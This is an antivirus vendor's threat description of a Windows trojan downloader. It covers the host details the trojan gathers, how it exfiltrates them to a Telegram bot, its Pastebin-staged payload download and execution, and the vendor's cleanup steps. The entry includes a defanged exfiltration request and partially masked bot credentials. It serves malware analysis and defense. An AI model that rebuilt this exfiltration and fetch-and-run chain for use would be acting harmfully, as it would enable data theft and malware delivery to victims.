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Added to the Dr.Web virus database: 2023-10-18

Virus description added:

Packer: Themida

Compilation date: 21.09.2023 12:32:30

SHA1 hash:

  • 3f34031b923dc68667859162260b22830cbce521 (Проводник.exe)


A trojan application written in C++ and designed to run on computers with Microsoft Windows operating systems. Its main purpose is to download and launch a malicious payload within an infected system.

Operating routine

Upon launch, the trojan collects the following information about the infected system:

Parameter name (key) The contents (value) Data-collection method
Computer Name The infected computer’s name
Windows Version Windows version
Total RAM RAM capacity \root\CIMV2Win32_ComputerSystem entity ― TotalPhysicalMemory field
Processor The CPU name \root\CIMV2Win32_Processor entity ― Name field
External IP User IP address From the response when contacting hxxp[:]//api.ipify[.]org
Manufacturer The name of the computer manufacturer \root\CIMV2Win32_ComputerSystem entity ― Manufacturer field
Model The name assigned to the computer by its manufacturer (PC model name) \root\CIMV2Win32_ComputerSystem entity ― Model field
BIOS Contains information about BIOS

Information is also gathered about BIOS:

Parameter Name (key) The contents (value) Data-collection method
Version BIOS version \root\CIMV2Win32_BIOS entity ― Version field
Release Date BIOS release date \root\CIMV2Win32_BIOS entity ― ReleaseDate field
Caption The description from the manufacturer \root\CIMV2Win32_BIOS entity ― Caption field
SMBIOS SMBIOS version \root\CIMV2Win32_BIOS entity ― SMBIOSBIOSVersion field

Next, the technical information collected from the system is sent to a Telegram bot as a string in the following format: <key>:<value>\n.... And for that, the following parameters are used:

  • 6393******:**********FKPI8su1qdfenHz********** is a bot token;
  • 6346****** is a chat identifier (chat_id).

Below is an example of the resulting request:

hxxps[:]//api[.]telegram[.]org/bot6393******:**********FKPI8su1qdfenHz**********/sendMessage?chat_id=6346******&text=<system information>

After this message containing the system information is sent, the trojan obtains an encrypted target URL from the hxxps[:]//pastebin[.]com/y5NUQPwY webpage. Once this URL is decrypted, the trojan downloads the payload, saves it to %LOCALAPPDATA%\Default\Windows\data\ldled and executes it.


The trojan’s code includes information containing debug symbols: C:\Users\Snusoed\source\repos\Scaner_load\Release\Scaner_load.pdb.

Indicators of compromise

News about the trojan

Curing recommendations

  1. If the operating system (OS) can be loaded (either normally or in safe mode), download Dr.Web Security Space and run a full scan of your computer and removable media you use. More about Dr.Web Security Space.
  2. If you cannot boot the OS, change the BIOS settings to boot your system from a CD or USB drive. Download the image of the emergency system repair disk Dr.Web® LiveDisk , mount it on a USB drive or burn it to a CD/DVD. After booting up with this media, run a full scan and cure all the detected threats.
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Use Dr.Web Anti-virus for macOS to run a full scan of your Mac.

After booting up, run a full scan of all disk partitions with Dr.Web Anti-virus for Linux.

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Download by serial number

  1. If the mobile device is operating normally, download and install Dr.Web for Android. Run a full system scan and follow recommendations to neutralize the detected threats.
  2. If the mobile device has been locked by Android.Locker ransomware (the message on the screen tells you that you have broken some law or demands a set ransom amount; or you will see some other announcement that prevents you from using the handheld normally), do the following:
    • Load your smartphone or tablet in the safe mode (depending on the operating system version and specifications of the particular mobile device involved, this procedure can be performed in various ways; seek clarification from the user guide that was shipped with the device, or contact its manufacturer);
    • Once you have activated safe mode, install the Dr.Web for Android onto the infected handheld and run a full scan of the system; follow the steps recommended for neutralizing the threats that have been detected;
    • Switch off your device and turn it on as normal.

Find out more about Dr.Web for Android